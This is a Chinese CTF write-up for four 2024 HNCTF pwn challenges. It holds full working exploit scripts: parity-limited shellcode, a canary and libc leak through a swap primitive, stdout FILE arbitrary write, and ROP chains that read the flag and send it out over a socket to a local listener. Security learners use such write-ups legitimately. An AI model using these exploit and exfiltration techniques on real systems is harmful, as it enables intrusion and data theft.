2024 HNCTF PWN(hide_flag Rand_file_dockerfile Appetizers TTOCrv_)

文章目录

  • 参考
  • hide_flag
    • 思路
    • exp
  • Rand_file_dockerfile libc 2.31
    • 思路
    • exp
  • Appetizers glibc 2.35
    • 绕过关闭标准输出实例
    • 客户端 关闭标准输出
    • 服务端
    • 结果
    • exp
  • TTOCrv_🎲 glibc 2.35
    • 逆向
    • DT_DEBUG获得各个库地址
    • 随机数
    • 思路
    • exp

参考

https://docs.qq.com/doc/p/641e8742c39d16cd6d046b18bcb251fd3ab0cd6d

hide_flag

在这里插入图片描述
在这里插入图片描述
open+pread+write即可

pread函数是Linux和其他类UNIX系统中用于文件输入输出的一个高级函数,它允许应用程序在读取文件时指定一个相对于文件起点的绝对偏移量。
ssize_t pread(int fd, void *buf, size_t count, off_t offset);

在这里插入图片描述
要字节码与位置下标的奇偶性一样,即按照偶奇偶奇来
所以sycall这种连续两个奇的就不行了,只能用call去使用函数了(jmp难回来)
在这里插入图片描述

思路

刚进入shellcode时残留的寄存器和栈上的
在这里插入图片描述
在这里插入图片描述

  • pop push add sub mov xchg cmp shl xor call nop
  • 必须两个偶或者奇就填充一个不一样的但不影响的来满足偶奇
  • 利用残留的寄存器和栈上的凑出地址到寄存器里,然后call 寄存器

exp

from pwn import *context(arch='amd64',os="linux",log_level='debug')
libc = ELF('./libc.so.6')p = process('./pwn')gdb.attach(p) 
pause()#F1@g520#open()
pay = ''
#rax + 0xea750
#       58      59      58      59       58       59 
pay += 'pop rax;pop rcx;pop rax;pop rcx; pop rax; pop rcx;'  #rax = 0x00007ffff7c29d90
#       4805  6ea70e01      482d 00010001       4883 c071      4883 c073 
pay += 'add rax,0x010ea76e; sub rax,0x01000100; add rax,0x71; add rax,0x73; '  #rax + 0xf4d10
#       2c 01        2c 01        50       xx
pay += 'sub al,0x1; sub al,0x1; push rax;cmp eax,0x33323130;'  #rax = libc_open
#       48b9 4631 4067 3633 3001 (F1@g520)    6a01     58      3d 3031 3233       48c1e02d   48c1e003  4891          4829c8      xx
pay += 'mov rcx,0x0130333667403146; push 0x1;pop rax;cmp eax,0x33323130;shl rax,53;shl rax,3;xchg rax,rcx; sub rax,rcx;cmp eax,0x33323130;'
#       4891          6a01     58      3d 3031 3233       48c1e025   48c1e003  4891          4829c8 
pay += 'xchg rax,rcx; push 0x1;pop rax;cmp eax,0x33323130;shl rax,37;shl rax,3;xchg rax,rcx; sub rax,rcx;cmp eax,0x33323130; '
pay += 'xchg rax,rcx; push 0x1;pop rax;cmp eax,0x33323130;shl rax,29;shl rax,3;xchg rax,rcx; sub rax,rcx;cmp eax,0x33323130; '
#       56      59      50                            54        5f       4889f0       51
pay += 'pop rsi;pop rcx;push rax; cmp eax,0x33323130; push rsp; pop rdi; mov rax,rsi; push rcx;'  #rdi->F1@g520\0
#       4831f6                           
pay += 'xor rsi,rsi;' #rsi = 0
#       ffd0       open(buf,0)
pay += 'call rax;'  #call rax#pread rax = rcx - 0x1e0b
#       51       58      51        662d 001f       4883c059
pay += 'push rcx;pop rax;push rcx; sub ax, 0x1f00;add rax,89;add rax,89; add rax,67;' #rax=pread64
#       6a 03    90   5f      6a71      5a      53        90   59       90
pay += 'push 3; nop; pop rdi;push 0x71;pop rdx;push rbx; nop; pop rcx; nop;' #rdi=3, rdx=0x71
#       ffd0       open(buf,0)
pay += 'call rax;'  #call rax#write rax = rcx+0x2126
#       51       58      51        662d2621      
pay += 'push rcx;pop rax;push rcx; add ax, 0x2126;' #rax=pread64
#       6a01   90  5f      90
pay += 'push 1;nop;pop rdi;nop;'
#       ffd0       open(buf,0)
pay += 'call rax;'  #call raxp.sendafter(b"Please find flag's name\n", asm(pay))p.interactive()

在这里插入图片描述

Rand_file_dockerfile libc 2.31

在这里插入图片描述
把open关了,对read的文件描述符做了限制,不能大于2,用close把错误输出关了就行,这样就可以read新open的文件的了,close+openat+read+write

在这里插入图片描述
在这里插入图片描述

ptr ^= __readfsqword(0x28u);

这一行从线程的特定位置读取一个 64 位值并将其与 ptr 进行异或操作。__readfsqword 是一个特殊的内联汇编指令,用于读取一个 64 位值,该值位于 FS 段寄存器所指向的地址上加上偏移量 0x28FS 段寄存器通常用来访问当前线程的非分页内存区域,比如 TLS(Thread Local Storage)。

for ( i = 0; i <= 3; ++i )
{v4 = *((_BYTE *)&ptr + i);*((_BYTE *)&ptr + i) = *((_BYTE *)&ptr + 7LL - i);*((_BYTE *)&ptr + 7LL - i) = v4;
}

这是一个循环,用于将 ptr 中的字节顺序反转。由于 ptr 是一个 64 位变量,它由 8 个字节组成。循环从第 0 字节到第 3 字节进行迭代(即前半部分),每次迭代都会执行以下操作:

  • 将当前字节的值保存在 v4 中。
  • 将当前字节与对应的最后一个字节进行交换,即 i7 - i 位置的字节互换。
  • 通过将 v4 赋给 7 - i 位置的字节来完成字节的交换。

由于循环只运行了 4 次,而 64 位值共有 8 个字节,所以前 4 个字节和后 4 个字节分别在循环的前半部分和后半部分(未显示)通过交换实现了整个 64 位值的字节逆序。

fwrite(&ptr, 1uLL, 8uLL, stdout);
fflush(stdout);

这两行代码将逆序后的 ptr 值写入标准输出流 stdoutfwrite 函数的第一个参数是指向要写入数据的指针,第二个参数是每个元素的大小(在这里每个字节是 1),第三个参数是要写入的元素数量(这里是 8),第四个参数是目标文件流。fflush 则用于刷新输出缓冲区,确保所有数据都被立即写出。

write(1, "\n", 1uLL);
return 0LL;

write 函数用于向文件描述符 1(通常代表标准输出 stdout)写入一个换行符,然后函数返回 0LL,表示程序正常结束。

在这里插入图片描述

  1. *a1 ^= *a2;
    这一行使用异或运算符 ^a1 指向的值与 a2 指向的值进行异或操作,并将结果存储回 a1 指向的位置。异或操作有这样一个性质:任何数与自身进行异或操作的结果为零;任何数与零进行异或操作的结果为其本身。

  2. *a2 ^= *a1;
    这里再次使用异或操作,这次是在 a2 指向的值与现在 a1 指向的新值之间进行。由于 a1 现在的值实际上是 *a1 ^ *a2,那么 (*a2) ^ (*a1 ^ *a2) 的结果将是 *a1 的原始值。这个结果现在存储到了 a2 指向的位置。

  3. result = a1;
    这行代码实际上并不参与值的交换过程,它只是将 a1 的值赋给了 result 变量。这里可能是为了返回一个值,但实际上 result 的值并没有在交换过程中改变,所以这行代码可能是为了符合函数声明的返回类型,或者是出于其他目的(如指示调用者哪个指针的值先被改变了)。

  4. *a1 ^= *a2;
    最后一步再次执行异或操作,这次是在 a1 指向的值与现在 a2 指向的新值之间。由于 a2 现在的值实际上是 a1 的原始值,那么 (*a1 ^ *a2) ^ *a1 的结果将是 a2 的原始值。这个结果现在存储到了 a1 指向的位置。

在这里插入图片描述

setenv 函数在C编程语言中用于在进程中设置或修改环境变量。它在 stdlib.h 头文件中声明,可以用来在程序运行时动态地改变环境变量的值。setenv 函数的原型如下:

#include <stdlib.h>int setenv(const char *name, const char *value, int overwrite);

函数的参数如下:

  • name:一个指向 char 类型的指针,表示环境变量的名字。
  • value:一个指向 char 类型的指针,表示环境变量的新值。
  • overwrite:一个 int 类型的值,表示是否覆盖已存在的同名环境变量。如果此参数为非零值,那么即使变量已经存在也会被覆盖;如果为零,且变量已存在,那么函数将不做任何事。

函数的返回值是一个整数,如果函数成功,返回值为0;如果失败,则返回非零值。

下面是一个使用 setenv 函数的例子:

#include <stdlib.h>
#include <stdio.h>int main() {// 设置环境变量 TEST_VAR 为 "Hello World"if (setenv("TEST_VAR", "Hello World", 1) != 0) {perror("setenv error");return 1;}// 获取环境变量 TEST_VAR 的值并打印char *value = getenv("TEST_VAR");if (value != NULL) {printf("Environment variable TEST_VAR is set to: %s\n", value);} else {printf("Environment variable TEST_VAR is not set.\n");}return 0;
}

需要注意的是,setenv 设置的环境变量仅在当前进程及其子进程中有效,不会影响到父进程或其他无关进程的环境变量。此外,当程序结束时,这些环境变量也不会保存到系统中,除非有其他的机制(比如在脚本中重新设置环境变量)将它们持久化。

思路

在这里插入图片描述

调试有点麻烦,因为run里面嵌了个绝对地址,是在搭建的镜像中的,只能patch掉再在本地调试
通过swap实现交换栈上地址八个字节的内容

在这里插入图片描述
实现无限重复循环main函数
然后自己和自己交换就不变还是零,此时会break然后通过下面和canary的异或可以泄露,上面作为一系列泄露的最后部分

泄露libc地址,最后交换到ptr位置然后控制好返回地址后再原位置交换然后输出和canary异或的结果,通过之前已经泄露的canary(不交换ptr的值,0和canary异或的值还是canary)再次异或得到原来结果
在这里插入图片描述
在这里插入图片描述
然后同样方式泄露stack地址
在这里插入图片描述

然后最妙的是通过call swap函数当前的栈上某个地址得到栈地址内容进行固定偏移得到下次循环时候swap的对应的ptr的地址,然后通过libc地址得到stdout地址后计算到下次ptr的偏移,就可以对stdout结构体修改
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
通过和stdout的内容交换来任意地址读,将栈上存有大量的指向环境变量的栈地址(某些栈地址对应的内容是到libc地址)泄露出来,从而得到大量栈地址,并保存尾地址为合适的栈地址(如需要修改第三个字节,就寻找栈地址末尾为3或者b,这往其交换时候此时最后一个字节正好是栈地址+8的的第三个字节,正好对应ptr和canary异或然后反转的最后一个字节,也就是ptr的第一个字节)

由于我们只能交换,不能写,唯一的输入机会就是call swap之前input,由于swap函数和input函数是同一级的,会存在栈帧重叠的部分,所以我们可以通过input函数残留的变量然后通过swap来写其他位置(对调用input的栈帧中残留的写入的变量进行利用,swap写到栈上的另一个位置)

在这里插入图片描述
构造pop rdi ret和gets函数地址,写到返回地址,然后输入rop

利用swap将当前栈上的libc地址和栈地址为3或b的地址+5的位置交换,然后利用swap交换_IO_write_ptr和_IO_write_end设置要写的栈上的地址,控制好ptr的值,使得经过异或后写的第八个高字节(对应输入的第一个字节和canary异或)正好修改残留的libc倒数的第三个字节,然后同样方法修改第二个字节和第一个字节

stdout的任意写,需要构造:
fp -> _IO_write_ptr和fp -> _IO_write_end,指向要写的位置。写的内容为要写入文件的变量的内容。偏移为0x28和0x30。
调用写入文件的一些函数例如fwrite、fputs。

在这里插入图片描述
当修改后需要将这个栈地址的内容和某个固定位置交换下来保存,当要修改倒数第二个字节时,需要找到末尾为2或者a的栈地址,然后之前的保存的位置的内容和栈地址+6的交换,那么当从栈地址写入8个字节时,即可修改栈地址+6的第二个字节,即在之前修改第三个字节基础上修改了第二个字节,第一个字节同理。最后修改完成的libc地址也存到一个地方

利用swap将栈上的pie地址相关的内容和栈地址末尾为2或者a的地址+5交换,然后方法和上面一样,最终要将其改成pop rdi ;ret对应的地址,最后的地址也保存到一个地方
在这里插入图片描述
然后将保存的地址移动到返回地址处,rdi参数构造为之前的泄露的栈地址。get函数后还是要交换为start函数地址(因为输入rop后最后还要进入main函数进行交换操作到返回地址构成rop),然后将rop输入到栈地址部分
在这里插入图片描述
最后先将栈地址开始处的文件名交换到固定位置,然后将rop部分swap到栈的返回地址部分就行(输入的rop 文件名+close+orw)

exp

from pwn import *
import struct
context(os='linux', arch='amd64', log_level='debug')
libc = ELF("./libc.so.6")
elf = ELF("./pwn")
p = process("./change_run")def lg(msg, addr=None):if addr is not None:log.info(f"{msg} {addr}")else:log.info(msg)
s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
ia = lambda : p.interactive()def swap(num1,num2):ru(b'11? >\n')s(str(num1))ru(b'77! >\n')s(str(num2))def leak(C, canary): # A^B = C bytes_C = C.to_bytes(8, byteorder='little')swapped_bytes = list(bytes_C)for i in range(4):swapped_bytes[i], swapped_bytes[7 - i] = swapped_bytes[7 - i], swapped_bytes[i]reversed_bytes = bytes(swapped_bytes)reversed_int = int.from_bytes(reversed_bytes, byteorder='little')original_data = reversed_int ^ canaryreturn original_data# 泄露stack  
def get_now_stack_ptr(canary):swap(7,0)swap(5,12)swap(0,0)tmp = u64(p.recv(8))stack_ptr_dbb8_daa0 = leak(tmp,canary)stack_ptr = stack_ptr_dbb8_daa0 -0x1f8 # 下一轮0x1f8lg("Now ptr is",hex(stack_ptr))return stack_ptr# find可用地址
def get_addr(io_s,canary): #  打印start_addr栈开始的所有内容now_ptr = get_now_stack_ptr(canary)# 构造任意读offest_1 = (io_s - now_ptr) // 8    # write_ptroffest_0 = offest_1 - 1  # write_base offest__1 = offest_0 - 2    # read_end offest_8 = offest_1 + 7 # file_namelg(f"({io_s} - {now_ptr})//8 = {offest_1}")swap(5,12)# 28swap(1,0) # ptr = 1swap(offest__1,22) # write_base 0x7fff4db29ec0swap(offest_0,13) # write_ptr 0x7fff4db29ec0swap(offest_1,200) # write_end 0x7fff4db2ceecswap(offest_8,0) # file_name = 1 swap(0,0)tmp = p.recv(1000)  # 接收1000字节print(tmp)addresses = struct.unpack('125Q', tmp)  memory_dict = {i * 8: addr for i, addr in enumerate(addresses)}match_offsets_2a = []match_offsets_19 = []match_offsets_3b = []for offset, addr in memory_dict.items():last_byte = addr & 0xFFif last_byte % 16 == 2 or last_byte % 16 == 10:print(f"Match the addr last is 2/a, found at stack offset: {hex(offset//8)} with address: {hex(addr)}")match_offsets_2a.append((offset // 8, addr))  if last_byte % 16 == 1 or last_byte % 16 == 9:print(f"Match the addr last is 1/9, found at stack offset: {hex(offset//8)} with address: {hex(addr)}")match_offsets_19.append((offset // 8, addr)) if last_byte % 16 == 3 or last_byte % 16 == 11:print(f"Match the addr last is 3/b, found at stack offset: {hex(offset//8)} with address: {hex(addr)}")match_offsets_3b.append((offset // 8, addr)) return match_offsets_2a, match_offsets_19,match_offsets_3b# int _flags   0
# char* _IO_read_ptr;   /* Current read pointer */  8      
# char* _IO_read_end;   /* End of get area. */   16      
# char* _IO_read_base;  /* Start of putback+get area. */  24      
# char* _IO_write_base; /* Start of put area. */    
# char* _IO_write_ptr;  /* Current put pointer. */ 
# char* _IO_write_end;  /* End of put area. */ 
# char* _IO_buf_base;   /* Start of reserve area. */  
# char* _IO_buf_end;    /* End of reserve area. */   
# # # #
# char *_IO_save_base; /* Pointer to start of non-current get area. */
# char *_IO_backup_base;  /* Pointer to first valid character of backup area */
# char *_IO_save_end; /* Pointer to end of non-current get area. */
# ### #
# int _fileno;# 在ptr内存中存储1个字节
def read_1(data,canary): # stack_ptr + 6  feak_data = leak(data,canary)lg("Need change bytes is ",hex(data))lg("feak_data is ",hex(feak_data))feak_data = int(feak_data>>56)lg("The true byte is ",hex(feak_data))swap(-9,feak_data)swap(0,feak_data)def change_3(stack_start,addr_2a,addr_2a_offest,offset_bechange,data,io_s,canary,i): #修改倒数第三位字节print("addr_2a",addr_2a)now_ptr = get_now_stack_ptr(canary)feak_data = leak(data,canary)lg("Need change bytes is ",hex(data))lg("feak_data is ",hex(feak_data))feak_data = int(feak_data>>56)lg("The true byte is ",hex(feak_data))swap(-9,feak_data)swap(0,feak_data)if offset_bechange != 12 and offset_bechange != 10:offset_bechange = (stack_start-now_ptr) // 8# 先将要修改的内容change放到addr_2a 的addr_28,完整的下一个swap(5,12)addr_28 = addr_2a - i%4 + 8offset_change_0 = (addr_28 - now_ptr)// 8 print("stack_start",stack_start)print("addr_2a",addr_2a)print("addr_28",addr_28)print("addr_2a_offest",addr_2a_offest)swap(offset_bechange,offset_change_0) # 改io到特定地址,io任一写offset_change_2 = (stack_start-now_ptr) // 8 + addr_2a_offest   #末尾为2/a#store tmp to da90offest_1 = (io_s - now_ptr) // 8  # ptroffest_2 = offest_1 + 1 # end# offest_0 = offest_1 - 1  # write_slg(f"({io_s} - {now_ptr})//8 = {offest_1}")swap(offest_1,offset_change_2)  # weite_ptrswap(offest_2,offset_change_2+10*i)   #warte_end   swap(0,0)#将换完的内容放到固定位置now_ptr -= 224 offset_change_0 = (addr_28 - now_ptr)// 8swap(5,12)swap(offset_change_0,(stack_start-now_ptr) // 8) #放到固定栈那里swap(0,0)# 泄露canary   
swap(5,12)
swap(0,0)
canary = u64(p.recv(8))
lg("canary is",hex(canary))# 泄露io_addr   
swap(-2,0)
swap(5,12)
swap(0,0)
tmp = u64(p.recv(8))
libc_902e8 = leak(tmp,canary)stdout = libc_902e8 - (0x902e8-0x8c6a0)
write_s = stdout + 8*5 #0x28
write_e = stdout + 8*6 #0x30
lg("stdout is",hex(stdout))#指向环境变量的栈地址,以不同字节结尾
swap(5,12)
swap(13,0) 
swap(0,0)
tmp = u64(p.recv(8))
leak_stack = leak(tmp,canary)
print("leak_stack",hex(leak_stack))# match_offsets_2a, match_offsets_19,match_offsets_3b= get_addr(write_s,canary)
addr_1_offest,addr_1 = match_offsets_19[1]
addr_2_offest,addr_2 = match_offsets_2a[1]
addr_3_offest,addr_3 = match_offsets_3b[1]
lg("use 19 is :",hex(addr_1))
lg("use 2a is :",hex(addr_2))
lg("use 3b is :",hex(addr_3))# 泄露libcbase  
swap(5,12)
swap(0,12)
swap(0,0)
tmp = u64(p.recv(8))
libc_start_243 = leak(tmp,canary)
libcbase = libc_start_243 - libc.sym['__libc_start_main'] - 243
lg("libcbase is",hex(libcbase))gets_addr = libcbase+libc.sym['gets']
change_num = gets_addr & 0xFFFFFF
lg("the change 3 bytes for libcstart ",hex(change_num))
high_byte = (change_num >> 16) & 0xFF
next_byte = (change_num >> 8) & 0xFF
last_bytes = change_num & 0xFFchange_3(leak_stack,addr_3,addr_3_offest,12,high_byte,write_s,canary,3) #改libc的倒数第三个字节
change_3(leak_stack,addr_2,addr_2_offest,0,next_byte,write_s,canary,2) # 修改倒数第二个字节
change_3(leak_stack,addr_1,addr_1_offest,0,last_bytes,write_s,canary,1) # 修改最后个字节   #存储libc_在栈地址now_ptr = get_now_stack_ptr(canary)
gets_addr = leak_stack - 16
swap((leak_stack-now_ptr) // 8,(leak_stack-now_ptr) // 8-2)
lg("gets_addr is",hex(gets_addr))# pie  
swap(5,12)
swap(0,9)
swap(0,0)
tmp = u64(p.recv(8))
main_153c = leak(tmp,canary)
mainbase = main_153c - 0x153c
lg("mainbase is",hex(mainbase))pop_rdi  = mainbase + 0x1753
change_pop = pop_rdi & 0xFFFF
next_byte = (change_pop >> 8) & 0xFF
last_byte = change_pop & 0xFF
lg("the change 2 bytes for pop_rdi ",hex(change_pop))addr_1_offest,addr_1 = match_offsets_19[2]
addr_2_offest,addr_2 = match_offsets_2a[2]
lg("use 19 is :",hex(addr_1))
lg("use 2a is :",hex(addr_2))change_3(leak_stack,addr_2,addr_2_offest,10,next_byte,write_s,canary,6) # 修改倒数第二个字节change_3(leak_stack,addr_1,addr_1_offest,0,last_byte,write_s,canary,5) # 修改最后两个字节   #存储libc_在栈地址now_ptr = get_now_stack_ptr(canary)
pop_rdi_addr = leak_stack - 24
swap((leak_stack-now_ptr) // 8,(leak_stack-now_ptr) // 8-3)
lg("pop_rdi_addr is",hex(pop_rdi_addr))swap(5,(leak_stack-now_ptr) // 8-3) # pop_rdi
swap(6,13) # stack
swap(7,(leak_stack-now_ptr) // 8-2) # libc_getsswap(8,12) # libc_mainswap(0,0)
lg("Wait set rop")pop_rdi  = libcbase + 0x23b6a
pop_rdx_r12 = libcbase + 0x119431
pop_rsi = libcbase + 0x2601f
pop_rax = libcbase + 0x36174
pop_rdx_rbx = libcbase + 0x15fae6
syscall = libcbase + 0x630a9
reads  = libcbase+libc.sym['read']
openat = libcbase+libc.sym['openat']
writes   = libcbase+libc.sym['write']payload = (b'./flag').ljust(8,b'\x00') + p64(pop_rdi) + p64(2) + p64(pop_rax) + p64(3) + p64(syscall)
payload += p64(pop_rdi) + p64(0xffffff9c) + p64(pop_rsi) + p64(leak_stack) + p64(pop_rdx_rbx) + p64(0x100) * 2 + p64(pop_rax) + p64(257) + p64(syscall)
payload += p64(pop_rdi) + p64(2) + p64(pop_rsi)+p64(leak_stack)+p64(pop_rdx_r12)+p64(0x20)+p64(0)+p64(reads)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi)+p64(leak_stack)+p64(pop_rdx_r12)+p64(0x20)+p64(0)+p64(writes)sl(payload)now_ptr = get_now_stack_ptr(canary)
offset = (leak_stack - now_ptr) // 8# gdb.attach(p)
# pause()for i in range(len(payload) // 8 ):swap(i + offset , 5 + i)swap(0,0)ia()

在这里插入图片描述

Appetizers glibc 2.35

在这里插入图片描述
open+read(count=0x9j就行)+write
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
原始的stdout->write_ptr和 stout->write_base相等,因为无缓冲模式,然后单字节高位改变stdout->write_ptr增大
在这里插入图片描述
从而泄露栈地址和heap地址

绕过关闭标准输出实例

在这里插入图片描述
由于关闭了标准输出和输入,此时open+read将flag读到内存中了,此时需要将flag从内存输出,由于关闭标准输出,并且也不能重新打开标准输出,重定向也不可。所以需要socket连接到本地的一个socker,此时新建socker然后连接本地的,然后再将flag写到这个连接,从而写到本地的服务socket中。

客户端 关闭标准输出

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>#define PORT 8080
#define BUFFER_SIZE 1024int main() {int sock = 0;struct sockaddr_in serv_addr;char buffer[BUFFER_SIZE] = {0};char *message = "flag{zhiyinnitaimei}";// 创建socketif ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {perror("Socket creation error");return -1;}serv_addr.sin_family = AF_INET;serv_addr.sin_port = htons(PORT);// 将IP地址从字符串转换为二进制形式if(inet_pton(AF_INET, "127.0.0.1", &serv_addr.sin_addr) <= 0) {perror("Invalid address/ Address not supported");return -1;}// 连接到服务器if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {perror("Connection Failed");return -1;}// 使用write发送消息close(1);ssize_t bytes_written = write(sock, message, strlen(message));if (bytes_written < 0) {perror("Write failed");return -1;}printf("Message sent: %s\n", message);printf("Bytes written: %zd\n", bytes_written);// 接收服务器的回显ssize_t bytes_read = read(sock, buffer, BUFFER_SIZE - 1);if (bytes_read < 0) {perror("Read failed");return -1;}buffer[bytes_read] = '\0';  // 确保字符串正确终止printf("Server echo: %s\n", buffer);printf("Bytes read: %zd\n", bytes_read);// 关闭socketclose(sock);return 0;
}

服务端


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>#define PORT 8080
#define BUFFER_SIZE 1024int main() {int server_fd, new_socket;struct sockaddr_in address;int opt = 1;int addrlen = sizeof(address);char buffer[BUFFER_SIZE] = {0};// 创建socket文件描述符if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) {perror("socket failed");exit(EXIT_FAILURE);}// 设置socket选项if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt))) {perror("setsockopt");exit(EXIT_FAILURE);}address.sin_family = AF_INET;address.sin_addr.s_addr = INADDR_ANY;address.sin_port = htons(PORT);// 绑定socket到指定端口if (bind(server_fd, (struct sockaddr *)&address, sizeof(address)) < 0) {perror("bind failed");exit(EXIT_FAILURE);}// 开始监听连接if (listen(server_fd, 3) < 0) {perror("listen");exit(EXIT_FAILURE);}printf("Server listening on port %d\n", PORT);while(1) {// 接受新的连接if ((new_socket = accept(server_fd, (struct sockaddr *)&address, (socklen_t*)&addrlen)) < 0) {perror("accept");exit(EXIT_FAILURE);}// 读取客户端消息int valread = read(new_socket, buffer, BUFFER_SIZE);printf("Received: %s\n", buffer);// 发送回显消息send(new_socket, buffer, strlen(buffer), 0);printf("Echo message sent\n");close(new_socket);}return 0;
}

结果

在这里插入图片描述
在这里插入图片描述

exp

最后写rop在mmap位置,然后写stack然后栈迁移(栈地址也大于0x70FFFFFFFFFFLL),最后rop,
在这里插入图片描述
open+read+socker+connect+write

from pwn import *s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))context.arch      = 'amd64'
context.log_level = 'debug'libc = ELF("./libc.so.6")
io = process('./pwn')stdout_offset = 0x220780+ 0x28+0x1 # change 0x28  _IO_write_ptrio.sendafter(b"start.",p8(0xbb^0xb8) + p64(stdout_offset))
# sendline result in next while break 
io.recv(5)
data = b''
while(1):dd = io.recv(timeout=1)if dd==b'':breakdata += ddprint("data",data)libc_base = u64(data[0x5:0xb].ljust(8,b"\x00")) -0x1ca70-0x200000
stack     = u64(data[0x21d:0x21d+6].ljust(8,b"\x00"))print("libc_base",hex(libc_base))
print("stack",hex(stack))libc.address = libc_base
libc_rop=ROP(libc)
pop_rax = libc_base+0x0000000000045eb0
pop_rdi = libc_base+0x000000000002a3e5
pop_rsi = libc_base+0x000000000002be51
pop_rdx = libc_base+0x00000000000904a9
leave_ret =libc_base+0x000000000004da83
syscall_ret = libc_rop.find_gadget(['syscall','ret'])[0]print("pop_rax",hex(pop_rax))
print("pop_rdi",hex(pop_rdi))
print("pop_rsi",hex(pop_rsi))
print("pop_rdx",hex(pop_rdx))
print("leave_ret",hex(leave_ret))
print("syscall_ret",hex(syscall_ret))def syscall(rax=0, rdi=0, rsi=0, rdx=0):pay  = p64(pop_rax) +  p64(rax)pay += p64(pop_rdi) +  p64(rdi)pay += p64(pop_rsi) +  p64(rsi)pay += p64(pop_rdx) +  p64(rdx) * 2pay += p64(syscall_ret)return paydef read_(fd, buf, count):  return syscall(0, fd, buf, count)
def write(fd, buf, count): return syscall(1, fd, buf, count)
def open_(filename=0, modes=0, flags=0): return syscall(2, filename, modes, flags)
def socket_(domain=2,TYPE=1,protocol=0): return syscall(0x29,domain, TYPE, protocol)
def connect_(fd=0,addr=0,LEN=0x10): return syscall(0x2a,fd, addr, LEN)# # 0x0100007f901f0002 ip port v
# def socket(d, t, p):
#     return syscall(0x29, 0x2, 0x1, 0)cmd = b'./flag\x00'
for i in range(len(cmd)):io.send(p8(cmd[i]) + p64(0x100+i))flag_str_addr =  libc_base - 0x5000 + 0x100# ## write ip port
cmd = p64(0x0100007f901f0002)
for i in range(len(cmd)):io.send(p8(cmd[i]) + p64(0x180+i))ip_port_addr  = libc_base - 0x5000 + 0x180# rop
rop  = open_(flag_str_addr, 0,0) # /flag fd =  0
rop += read_(0,flag_str_addr,0x50) # 
rop += socket_() # fd =1 
rop += connect_(1,ip_port_addr, 0x10) # socker connect to socket
rop += write(1,flag_str_addr,0x50)  #  cmd = rop
for i in range(len(cmd)):io.send(p8(cmd[i]) + p64(0x200+i))gdb.attach(io)
pause()#leave stack
ret_stack = stack - 0x120offset = ret_stack - (libc_base-0x5000)
io.send(p8(0x6b^0x7f) + p64(offset))ordrbp_pos = stack - 0x128
old_rbp=stack-0x118
offset =ordrbp_pos-(libc_base-0x5000)
newrbp = libc_base - 0x5000 + 0x200 - 8
rop = p64(newrbp ^ old_rbp)cmd = rop
for i in range(len(cmd)):io.send(p8(cmd[i]) + p64(offset+i))io.sendline(b"")io.interactive()

在这里插入图片描述
在这里插入图片描述

TTOCrv_🎲 glibc 2.35

在这里插入图片描述
在这里插入图片描述
openat+read+write

逆向

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{__int64 buf; // [rsp+0h] [rbp-10h] BYREFunsigned __int64 v4; // [rsp+8h] [rbp-8h]v4 = __readfsqword(0x28u);sandbox_0();while ( 1 ){do{while ( 1 ){menu();puts("🦐>>>");buf = 0LL;read(0, &buf, 7uLL);if ( buf != '{}\n' )break;dele();}}while ( buf > (unsigned __int64)'{}\n' );if ( buf == 'db\n' )break;if ( buf <= (unsigned __int64)'db\n' ){if ( buf == 'bd\n' ){nouse();                                // no use}else if ( buf <= (unsigned __int64)'bd\n' ){if ( buf == 'TF\n' ){show();}else if ( buf <= (unsigned __int64)'TF\n' ){if ( buf == 'PF\n' ){show_edit_name();}else if ( buf <= (unsigned __int64)'PF\n' ){if ( buf == 'H&\n' ){new();}else if ( buf == 'NC\n' ){edit();}}}}}}exit(0LL);
}

在这里插入图片描述
chunk_array没有清零,double free
在这里插入图片描述
在这里插入图片描述

可以show after free,根据每个字节的低四位和高四位分别与基础字符相加然后打印出字节的字符
在这里插入图片描述

在这里插入图片描述
由于清不了零,这里只能new 4次
在这里插入图片描述
edit after free

  • 上述idx都没有检查,存在越界读或写,但如果要往负的越界写由于只能输入7个字节,负数需要最高的第八个字节为ff,这里需要利用到先调用nouse这个函数输入满\XFF,然后再调用输入函数时会将残留的ff包括在内,这样加上原来的7个字节才能组成负数

DT_DEBUG获得各个库地址

通过DT_DEBUG来获得各个库的基址
在这里插入图片描述
里DT_DEBUG的值是0。在实际运行时,DT_DEBUG的值是指向struct r_debug的指针

struct r_debug{ int r_version;              /* Version number for this protocol. */struct link_map *r_map;     /* Head of the chain of loaded objects. *//* This is the address of a function internal to the run-time linker, that will always be called when the linker begins to map in a library or unmap it, and again when the mapping change is complete. The debugger can set a breakpoint at this address if it wants to notice shared object mapping changes. */ElfW(Addr) r_brk;enum{ /* This state value describes the mapping change taking place when the `r_brk' address is called. */RT_CONSISTENT,          /* Mapping change is complete. */RT_ADD,                 /* Beginning to add a new object. */RT_DELETE               /* Beginning to remove an object mapping. */} r_state;ElfW(Addr) r_ldbase;        /* Base address the linker is loaded at. */};

